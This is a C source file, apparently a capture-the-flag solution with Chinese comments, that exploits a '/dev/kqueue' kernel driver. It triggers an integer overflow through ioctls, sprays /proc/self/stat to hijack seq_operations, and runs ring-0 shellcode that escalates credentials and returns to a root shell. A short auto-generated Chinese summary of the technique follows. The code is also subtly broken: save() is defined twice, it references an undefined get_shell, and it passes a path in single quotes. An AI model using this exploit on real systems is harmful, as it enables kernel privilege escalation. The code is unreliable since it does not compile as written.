#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <signal.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/xattr.h>
#include <sched.h>
#include <sys/prctl.h>
#include <ctype.h>
#define u8 unsigned char
#define s8 char
#define u16 unsigned short
#define s16 short
#define u32 unsigned int
#define s32 int
#define u64 unsigned long
#define s64 long
#define PAGE_SIZE 4096
#define info1(color, msg) info_impl(color, msg, 0, 0)
#define info2(color, msg, val) info_impl(color, msg, 1, (size_t)(val))
//但 C 语言 不支持函数重载(不能有两个同名函数参数不同),所以要用 宏技巧 模拟。
#define info(...) _GET_INFO_MACRO(__VA_ARGS__, info2, info1)(__VA_ARGS__)
//这在 C 语言中是一种常见的“模拟函数重载”的技巧。虽然看起来有点绕,但它是标准且有效的写法。
#define _GET_INFO_MACRO(_1,_2,_3,NAME,...) NAME
//怎么做到的?靠 _GET_INFO_MACRO 的参数匹配技巧。
typedef enum { BLUE, RED, YELLOW, PINK, WHITE,GREEN,RESET } color_t;
static const char* color_code(color_t c) {
switch(c) {
case BLUE: return "\033[34m";
case RED: return "\033[31m";
case YELLOW: return "\033[33m";
case PINK: return "\033[35m";
case WHITE: return "\033[37m";
case GREEN: return "\x1b[32m";
case RESET: return "\x1b[0m";
default: return "\033[0m";
}
}
static inline void info_impl(color_t c, const char *msg, int has_val, size_t val) {
if (has_val) {
printf("\033[1m%s[+] %s ===> \033[0m0x%lx\n", color_code(c), msg, val);
} else {
printf("\033[1m%s[*] %s\033[0m\n", color_code(c), msg);
}
}
//如果 has_val == 1:打印带 ===> 0x... 的格式(用于地址、数值)
void errExit(char *msg){printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);exit(EXIT_FAILURE);}
//这个退出的时候是红色字体也是写好了
void bind_cpu(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
size_t user_cs,user_ss,user_rflags,user_sp;
void save(){
__asm__(
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*] saved");
}//保存寄存器指令
void getRootShell(void)
{
puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");
if(getuid())
{
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
exit(-1);
}
puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
__asm__("add rsp,8");
system("/bin/sh");
exit(0);// to exit the process normally instead of segmentation fault
}
typedef struct{
u32 max_entries;
u16 data_size;
u16 entry_idx;
u16 queue_idx;
char* data;
}request_t;
u64 dev_fd;
u64 rip;
void create(u32 max_entries,u16 data_size)
{
request_t req =
{
.max_entries = max_entries,
.data_size = data_size,
};
ioctl(dev_fd,0xDEADC0DE,&req);
}
void edit(u16 queue_idx,u16 entry_idx,s8 *data)
{
request_t req =
{
.queue_idx = queue_idx,
.entry_idx = entry_idx,
.data = data,
};
ioctl(dev_fd,0xDAADEEEE,&req);
}
void delete(u16 queue_idx)
{
request_t req =
{
.queue_idx = queue_idx,
};
ioctl(dev_fd,0xBADDCAFE,&req);
}
void save(u16 queue_idx,u32 max_entries,u16 data_size)
{
request_t req =
{
.queue_idx = queue_idx,
.max_entries = max_entries,
.data_size = data_size,
};
ioctl(dev_fd,0xB105BABE,&req);
}
void shellcode(void)
{
__asm__(
"mov r12,[rsp + 0x8];"
"sub r12,0x201179;"
"mov r13,r12;"
"add r12,0x8c580;"
"add r13,0x8c140;"
"xor rdi,rdi;"
"call r12;"
"mov rdi,rax;"
"call r13;"
"swapgs;"
"mov r14,user_ss;"
"push r14;"
"mov r14,user_sp;"
"push r14;"
"mov r14,user_rflags;"
"push r14;"
"mov r14,user_cs;"
"push r14;"
"mov r14,rip;"
"push r14;"
"iretq;"
);
}
int main()
{
u64 seq_fd[0x200];
u64 *page;
u64 data[0x20];
save();
rip = (u64)get_shell;
dev_fd = open("/dev/kqueue",O_RDONLY);
if(dev_fd < 0)
errExit("fail to open the dev");
for(int i = 0;i < 0x20;i++)
{
data[i] = (u64)shellcode;
}
create(0xffffffff,0x20*8);
edit(0,0,data);
for(int i = 0;i < 0x200;i++){
seq_fd[i] = open('/proc/self/stat',O_RDONLY);
}
save(0,0,0x40);
for(int i = 0; i < 0x200;i++)
{
read(seq_fd[i],data,1);
}
}本文分析了一个内核堆溢出漏洞,通过整数溢出导致内存越界写,结合堆喷布局劫持seq_operations结构体,最终实现任意代码执行与提权。
由 AI 根据全文自动生成,仅供参考,以原文为准